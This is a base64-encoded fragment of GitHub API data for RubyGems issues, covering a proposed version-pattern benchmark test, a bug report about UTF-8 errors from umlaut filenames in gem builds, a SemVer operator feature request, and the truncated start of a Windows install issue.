Z2lkZGluczpcclxuXHJcbj4gU29tZXRoaW5nIGxpa2UgdGhpcz9cclxuXHJcbmBgYGRpZmZcclxuZGlmZiAtLWdpdCBhL3Rlc3QvcnVieWdlbXMvdGVzdF9nZW1fdmVyc2lvbi5yYiBiL3Rlc3QvcnVieWdlbXMvdGVzdF9nZW1fdmVyc2lvbi5yYlxyXG5pbmRleCAwYWRkYTNlYi4uZjU5ZjEwZTIgMTAwNjQ0XHJcbi0tLSBhL3Rlc3QvcnVieWdlbXMvdGVzdF9nZW1fdmVyc2lvbi5yYlxyXG4rKysgYi90ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX3ZlcnNpb24ucmJcclxuQEAgLTIsNiArMiw4IEBAXHJcbiByZXF1aXJlICdydWJ5Z2Vtcy90ZXN0X2Nhc2UnXHJcbiByZXF1aXJlIFwicnVieWdlbXMvdmVyc2lvblwiXHJcbiBcclxuK3JlcXVpcmUgXCJtaW5pdGVzdC9iZW5jaG1hcmtcIlxyXG4rXHJcbiBjbGFzcyBUZXN0R2VtVmVyc2lvbiA8IEdlbTo6VGVzdENhc2VcclxuIFxyXG4gICBjbGFzcyBWIDwgOjpHZW06OlZlcnNpb25cclxuQEAgLTk3LDYgKzk5LDEzIEBAIGNsYXNzIFRlc3RHZW1WZXJzaW9uIDwgR2VtOjpUZXN0Q2FzZVxyXG4gICAgIGVuZFxyXG4gICBlbmRcclxuIFxyXG4rICBkZWYgYmVuY2hfYW5jaG9yZWRfdmVyc2lvbl9wYXR0ZXJuXHJcbisgICAgYXNzZXJ0X3BlcmZvcm1hbmNlX2xpbmVhciAwLjUgZG8gfGNvdW50fFxyXG4rICAgICAgdmVyc2lvbl9zdHJpbmcgPSBjb3VudC50aW1lcy5tYXAge3xpfCBcIjBcIiAqIGkuc3VjYyB9LmpvaW4oXCIuXCIpIDw8IFwiLlwiXHJcbisgICAgICB2ZXJzaW9uX3N0cmluZyA9fiBHZW06OlZlcnNpb246OkFOQ0hPUkVEX1ZFUlNJT05fUEFUVEVSTlxyXG4rICAgIGVuZFxyXG4rICBlbmRcclxuK1xyXG4gICBkZWYgdGVzdF9lbXB0eV92ZXJzaW9uXHJcbiAgICAgW1wiXCIsIFwiICAgXCIsIFwiIFwiXS5lYWNoIGRvIHxlbXB0eXxcclxuICAgICAgIGFzc2VydF9lcXVhbCBcIjBcIiwgR2VtOjpWZXJzaW9uLm5ldyhlbXB0eSkudmVyc2lvblxyXG5gYGBcclxuXHJcbkBkcmJyYWluOlxyXG5cclxuPiBJIHRoaW5rIHNvLCBidXQgSSBmb3Jnb3QgdGhlIG11bHRpcGxpZXJzIHdlcmUgc28gbGFyZ2UuXHJcbj4gXHJcbj4gSW4gUkRvYyB0aGUgYmVuY2htYXJrIHRlc3RzIG9ubHkgcnVuIG9uIHRyYXZpcyBiZWNhdXNlIDE2IHNlY29uZHMgaXMgYSBsb25nIHRpbWUifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5MjkiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkyOS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkyOS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTI5L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTI5IiwiaWQiOjIzMDA4NTYxNiwibnVtYmVyIjoxOTI5LCJ0aXRsZSI6IklTTyBFbmNvZGluZyBhbmQgYnVpbGRpbmcgYSAuZ2VtIGZpbGUsIGxlYWRpbmcgdG8gdGhlIGVycm9yIG1lc3NhZ2UgXCJFUlJPUjogIFdoaWxlIGV4ZWN1dGluZyBnZW0gLi4uIChBcmd1bWVudEVycm9yKSBpbnZhbGlkIGJ5dGUgc2VxdWVuY2UgaW4gVVRGLThcIiBvbiB0aGUgY29tbWFuZGxpbmUiLCJ1c2VyIjp7ImxvZ2luIjoic2hldmVnZW4iLCJpZCI6MTM3MjMsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNzIzP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NoZXZlZ2VuIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MCwiY3JlYXRlZF9hdCI6IjIwMTctMDUtMTlUMjA6NDc6MjhaIiwidXBkYXRlZF9hdCI6IjIwMTctMDUtMTlUMjA6NDg6NDhaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IlRoaXMgaXNzdWUgaXMgcmVsYXRlZCB0bzpcclxuICAtIFtYXSBUaGUgY29tbWFuZCBsaW5lIGBnZW1gXHJcblxyXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudmlyb25tZW50IGRldGFpbHM6XHJcblxyXG5gYGBcclxuPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XHJcbiAgT3BlcmF0aW5nIFN5c3RlbTogICAgICAgICAgICAgICAgR05VL0xpbnV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFxyXG4gIE9zIEJpdCBUeXBlOiAgICAgICAgICAgICAgICAgICAgIGk2ODYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcclxuICBDUFUgTW9kZWw6ICAgICAgICAgICAgICAgICAgICAgICBJbnRlbChSKSBDZWxlcm9uKFIpIENQVSBHMTYzMCBAIDIuODBHSHosIDIgY29yZXMgICAgXHJcbiAgQ0ZMQUdTIGluIHVzZTogICAgICAgICAgICAgICAgICAgLU8yIC1mUElDIC1mbm8tc3RyaWN0LW92ZXJmbG93IC1Xbm8tZXJyb3IgICAgICAgICAgIFxyXG4gIFJBTTogICAgICAgICAgICAgICAgICAgICAgICAgICAgIDc5NzczNjQga0IgUkFNICg3NzkwLjQgTUIpICg3LjYgR2lnKSAgICAgICAgICAgICAgICBcclxuICBTY3JlZW4gUmVzb2x1dGlvbjogICAgICAgICAgICAgICAxOTIweDEwODAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXHJcbiAgR2NjIFZlcnNpb246ICAgICAgICAgICAgICAgICAgICAgNS4zLjAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFxyXG4gIEdsaWJjIFZlcnNpb246ICAgICAgICAgICAgICAgICAgIDIuMjMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcclxuICBLZXJuZWwgVmVyc2lvbjogICAgICAgICAgICAgICAgICA0LjQuMTQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXHJcbiAgUnVieSBWZXJzaW9uOiAgICAgICAgICAgICAgICAgICAgMi40LjFwMTExICgyMDE3LTAzLTIyIHJldmlzaW9uIDU4MDUzKSBbaTY4Ni1saW51eF0gIFxyXG4gIFJ1YnlnZW1zIFZlcnNpb246ICAgICAgICAgICAgICAgIDIuNi4xMiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcclxuICBSdWJ5Z2VtIEluc3RhbGxhdGlvbiBEaXJlY3Rvcnk6ICAvUHJvZ3JhbXMvUnVieS8yLjQuMS9saWIvcnVieS9nZW1zLzIuNC4wLyAgICAgICAgICAgXHJcbj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxyXG5cclxuYGBgXHJcbkhlbGxvIHJ1YnlnZW0gdGVhbS5cclxuXHJcbkkgdGhpbmsgdGhhdCBzb21lIHRpbWUgYWdvIEkgbWF5IGhhdmUgcmVwb3J0ZWQgYSBwcm9ibGVtIHdoZW4gSVxyXG5jcmVhdGUgYSBnZW0uIEluIHRoYXQgSSBnb3QgdGhpcyBlcnJvcjpcclxuXHJcbi0tLVxyXG5cclxuRVJST1I6ICBXaGlsZSBleGVjdXRpbmcgZ2VtIC4uLiAoQXJndW1lbnRFcnJvcilcclxuICAgIGludmFsaWQgYnl0ZSBzZXF1ZW5jZSBpbiBVVEYtOFxyXG5cclxuLS0tXHJcblxyXG5UaGUgZXJyb3IgbWVzc2FnZSB3YXMgcmVhbGx5IHJlYWxseSBiYWQuIFRvbyBzaG9ydC4gTm90IGluZm9ybWF0aXZlXHJcbmVub3VnaC4gSSB3YXMgdW5hYmxlIHRvIGRlYnVnIGl0IGZvciBhIHdoaWxlLlxyXG5cclxuSG93ZXZlciBoYWQsIHRvZGF5IEkgYWN0dWFsbHkgcmVhbGl6ZWQgdGhhdCB0aGlzIGVycm9yIHByb2JhYmx5XHJcbmluZGljYXRlcyBzb21lIGVuY29kaW5nLXJlbGF0ZWQgcHJvYmxlbS4gQW5kIGluZGVlZCwgdGhpcyB3YXNcclxudGhlIGNhc2UhXHJcblxyXG5JIHBlcnNvbmFsbHkgcHJlZmVyIHRvIHVzZSBJU08gRW5jb2RpbmcsIGluIHBhcnRpY3VsYXIgSVNPLTg4NTktMS5cclxuXHJcbkkgYWxzbyBoYXZlIG15IGZpbGVzIGluIHRoYXQgZW5jb2RpbmcsIG1vcmUgb3IgbGVzcy4gQXQgdGhlIGxlYXN0XHJcbm5vdCBpbiBVbmljb2RlL1VURi04LlxyXG5cclxuU28gdGhpcyB0aW1lLCBJIGhhZCBhIGxvb2sgYXQgd2hpY2ggZmlsZSBOQU1FUyBtYXkgaGF2ZSBnZXJtYW5cclxudW1sYXV0cyAoc29ycnkgLi4uIHRoZXkgc3Vjay4uLiBidXQgYXMgbG9uZyBhcyB0aGUgZ2VybWFuIGxhbmd1YWdlXHJcbnN0aWxsIHVzZXMgdGhlc2UgdW1sYXV0cywgSSB3aWxsIGhhdmUgdG8gdXNlIHRoZW0gdG9vLCBhcyBvdGhlcndpc2VcclxucGVvcGxlIG1heSB3b25kZXIgd2hldGhlciBteSBrZXlib2FyZCBtYXkgbGFjayBcIsO2XCIgXCLDpFwiIFwiw7xcIiBrZXlzKS5cclxuXHJcblRoZSBmYXVsdHkgZmlsZW5hbWVzIHdlcmUgdGhlc2U6XHJcblxyXG4gICAgZ3LDvG5sYW5kYmV3aXJ0c2NoYWZ0dW5nXHJcbiAgICBwZmxhbnplbnrDvGNodHVuZ1xyXG4gICAgZmVzdGvDtnJwZXJjaGVtaWVcclxuICAgIMO2a29sb2dpc2NoZV9sYW5kd2lydHNjaGFmdCAgXHJcblxyXG5TbywgdGhlIGN1bHByaXQgd2VyZSBnZXJtYW4gdW1sYXV0cyBhcyBwYXJ0IG9mIHRoZSBmaWxlbmFtZS5cclxuXHJcbkluIHBhcnRpY3VsYXIgKirDtiDDvCDDpCoqLlxyXG5cclxuV2hlbiBJIHJlbmFtZSB0aGVtIG9yIG5vdCBwdXQgdGhlbSBpbnRvIHRoZSAuZ2VtIHRoYXQgd2lsbFxyXG5iZSBidWlsdCwgZXZlcnl0aGluZyB3b3JrcyBmaW5lIGFnYWluLlxyXG5cclxuSSBkbyBub3Qga25vdyB3aHkgcnVieSByZWZ1c2VzIHRvIGNyZWF0ZSBhIC5nZW0gaWYgdGhlcmUgXHJcbmFyZSBcImludmFsaWRcIiBmaWxlcy4gRG9lcyBydWJ5IHJlLWVuY29kZSB0aGVtIG9yIHNvbWV0aGluZz9cclxuVGhleSBhcmUgbm90IC5yYiBmaWxlcyBhbmQgYXJlIGp1c3QgZGF0YSAtIEkgaGF2ZSBubyBpZGVhXHJcbndoeSBydWJ5Z2VtIHdvcmtzIHRoYXQgd2F5IGFuZCBjYXJlcyBhYm91dCB0aGVzZSwgYnV0IHRoaXNcclxuaXMgYSBzaWRlIGlzc3VlLlxyXG5cclxuSSB0aGluayB0aGF0IG15IG1haW4gcHJvYmxlbSByZWFsbHkgd2FzIHRoYXQgSSBoYWQgbm8gY2xlYXJcclxuaW5kaWNhdGlvbiBhcyB0byBXSEFUIGhhcyBnb25lIHdyb25nLlxyXG5cclxuT2YgY291cnNlIG15IGlkZWFsIHN1Z2dlc3Rpb24gd291bGQgYmUgZm9yIHJ1YnkgdG8gbm90XHJcbnJlZnVzZSB0aGVzZSBmaWxlcyBhbmQgc2ltcGx5IHB1dCB0aGVtIGludG8gdGhlIHRhcmJhbGxcclxudG9vICh0aGV5IGFyZSBwbGFpbiB0ZXh0IGZpbGVzIGJ5IHRoZSB3YXksIG5vdGhpbmdcclxuaW50cmluc2ljYWxseSBiaW5hcnkgLSB0aGUgb25seSB0d28gZGlmZmVyZW5jZXMgYXJlIHRoYXRcclxudGhpcyBpcyBhbiBJU08gRW5jb2RpbmcgZmlsZSBhbmQgaW5zaWRlIHRoYXQgZmlsZSB0aGVyZVxyXG5hcmUgYWxzbyBnZXJtYW4gdW1sYXV0cykuXHJcblxyXG5TaW5jZSB0aGF0IHN1Z2dlc3Rpb24gbWF5IGJlIHVubGlrZWx5LCBJIGhhdmUgYW5vdGhlclxyXG5zdWdnZXN0aW9ucyB0byBtYWtlOlxyXG5cclxuLSBJZiB0aGVyZSBpcyBhIHNpbWlsYXIgZXJyb3Igc3VjaCBhcyBcImludmFsaWQgYnl0ZVxyXG5zZXF1ZW5jZSBpbiBVVEYtOFwiIHBsZWFzZSBhbHNvIGluZGljYXRlIHRoZSBmaWxlKHMpIHRoYXRcclxuY2F1c2UgdGhlc2UgaXNzdWVzLlxyXG5cclxuU28gdGhlIHJ1bnRpbWUgZXJyb3Igc2hvdWxkIGp1c3QgYmUgZXhwYW5kZWQgYSBsaXR0bGVcclxuYml0IHdpdGggbW9yZSB0ZXh0LiBPbmUgY291bGQgYWxzbyBnaXZlIHNvbWUgaW5kaWNhdGlvblxyXG53aGF0IHByb2JsZW0gbWF5IGhhdmUgYmVlbiBjYXVzZWQgYnkgdGhhdC5cclxuXHJcbkluIHRoZSBldmVudCB0aGF0IHNvbWVvbmUgd2FudHMgYSB0ZXN0IGZpbGUgdG8gcmVwcm9kdWNlLFxyXG50aGlzIGhlcmUgc2hvdWxkIHdvcms6XHJcblxyXG4gIGh0dHA6Ly9zaGV2ZWdlbi5zcXVhcmU3LmNoL2dyJWZjbmxhbmRiZXdpcnRzY2hhZnR1bmdcclxuXHJcbkxvY2FsbHkgdGhlIG5hbWUgaXMgXCJncsO8bmxhbmRiZXdpcnRzY2hhZnR1bmdcIiB0aG91Z2gsXHJcbm5vdCBnciVmY25sYW5kYmV3aXJ0c2NoYWZ0dW5nLlxyXG5cclxuSWYgdGhpcyBpcyBub3QgcG9zc2libGUgdG8gZml4IG9yIGNoYW5nZSwgZmVlbCBmcmVlIHRvXHJcbmNsb3NlIHRoZSBpc3N1ZSBoZXJlLiBUaGFua3MhIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTE5IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5MTkvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5MTkvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkxOS9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkxOSIsImlkIjoyMjc4MTk2NTEsIm51bWJlciI6MTkxOSwidGl0bGUiOiJHZW06OlJlcXVpcmVtZW50IGFkZCBTZW1WZXIgb3BlcmF0b3IiLCJ1c2VyIjp7ImxvZ2luIjoiZnVsbGRlY2VudCIsImlkIjozODIxODMsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzM4MjE4Mz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZnVsbGRlY2VudCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2Z1bGxkZWNlbnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9mdWxsZGVjZW50L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Z1bGxkZWNlbnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZnVsbGRlY2VudC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZnVsbGRlY2VudC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Z1bGxkZWNlbnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9mdWxsZGVjZW50L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Z1bGxkZWNlbnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9mdWxsZGVjZW50L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9mdWxsZGVjZW50L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjo0NDMzMzQxODAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL2NvbnRyaWJ1dGlvbjolMjB1bmNsYWltZWQiLCJuYW1lIjoiY29udHJpYnV0aW9uOiB1bmNsYWltZWQiLCJjb2xvciI6IkRERERERCIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMDU1MjQ3NTAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwZmVhdHVyZSUyMHJlcXVlc3QiLCJuYW1lIjoidHlwZTogZmVhdHVyZSByZXF1ZXN0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6OSwiY3JlYXRlZF9hdCI6IjIwMTctMDUtMTBUMjE6NDU6MjBaIiwidXBkYXRlZF9hdCI6IjIwMTctMTAtMDVUMjI6NDA6NTNaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkknbSB3b3VsZCBsaWtlIHRvIHN1Z2dlc3QgYSBmZWF0dXJlLlxyXG5cclxuTXkgY3VycmVudCBwcm9ibGVtIGlzIFNlbVZlciBpcyB0b28gaGFyZCB0byBpbXBsZW1lbnQuXHJcblxyXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XHJcblxyXG4gIC0gW3hdIFB1Ymxpc2hpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbeF0gVGhlIGNvbW1hbmQgbGluZSBgZ2VtYFxyXG5cclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0gKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLiDinIUgXHJcblxyXG4tLS1cclxuXHJcblRoaXMgaXMgcmVnYXJkaW5nIHRoZSBHZW06OlJlcXVpcmVtZW50IGNsYXNzLCBkb2N1bWVudGVkIGF0IGh0dHBzOi8vcnVieS1kb2Mub3JnL3N0ZGxpYi0yLjEuMC9saWJkb2MvcnVieWdlbXMvcmRvYy9HZW0vUmVxdWlyZW1lbnQuaHRtbFxyXG5cclxuVGhpcyBpc3N1ZSBwcm9wb3NlcyB0byBhZGQgYSBuZXcgb3BlcmF0b3IgdG8gY29tcGFyZSBTZW1hbnRpYyBWZXJzaW9ucy4gU2VlIGh0dHA6Ly9zZW12ZXIub3JnL1xyXG5cclxuQ3VycmVudGx5IHdlIGNhbiBleHByZXNzOlxyXG5cclxuPiByYWNrIH4+IDEuMi4xICh3aGljaCBtZWFucyA+PSAxLjIuMSBhbmQgPCAxLjMuMClcclxuXHJcbkJ1dCBpdCB3aWxsIGJlIG1vcmUgdmFsdWFibGUgaWYgd2UgY2FuIGV4cHJlc3NcclxuXHJcbj4gcmFjayB+fj4gMS4yLjEgKHdoaWNoIG1lYW5zID49IDEuMi4xIGFuZCA8IDIuMC4wKVxyXG5cclxuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkwNyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTA3L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTA3L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5MDcvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5MDciLCJpZCI6MjI0MjY5MTU2LCJudW1iZXIiOjE5MDcsInRpdGxlIjoiV2luZG93cyAxMDogQ2Fubm90IGluc3RhbGwgYW55IGdlbSB3aXRob3V0IGAtLXBsYXRmb3JtPXJ1YnkgLS12ZXJib3NlYCIsInVzZXIiOnsibG9naW4iOiJwcm9wYWdhdGVkIiwiaWQiOjM1MDQ3MjgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzM1MDQ3Mjg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3Byb3BhZ2F0ZWQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9wcm9wYWdhdGVkIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcHJvcGFnYXRlZC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wcm9wYWdhdGVkL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3Byb3BhZ2F0ZWQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3Byb3BhZ2F0ZWQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wcm9wYWdhdGVkL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcHJvcGFnYXRlZC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wcm9wYWdhdGVkL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcHJvcGFnYXRlZC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcHJvcGFnYXRlZC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1NzI4ODUxLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9wbGF0Zm9ybTolMjB3aW5kb3dzIiwibmFtZSI6InBsYXRmb3JtOiB3aW5kb3dzIiwiY29sb3IiOiI1MzE5ZTciLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6OSwiY3JlYXRlZF9hdCI6IjIwMTctMDQtMjVUMjA6NTQ6NDVaIiwidXBkYXRlZF9hdCI6IjIwMTctMDUtMDJUMjI6N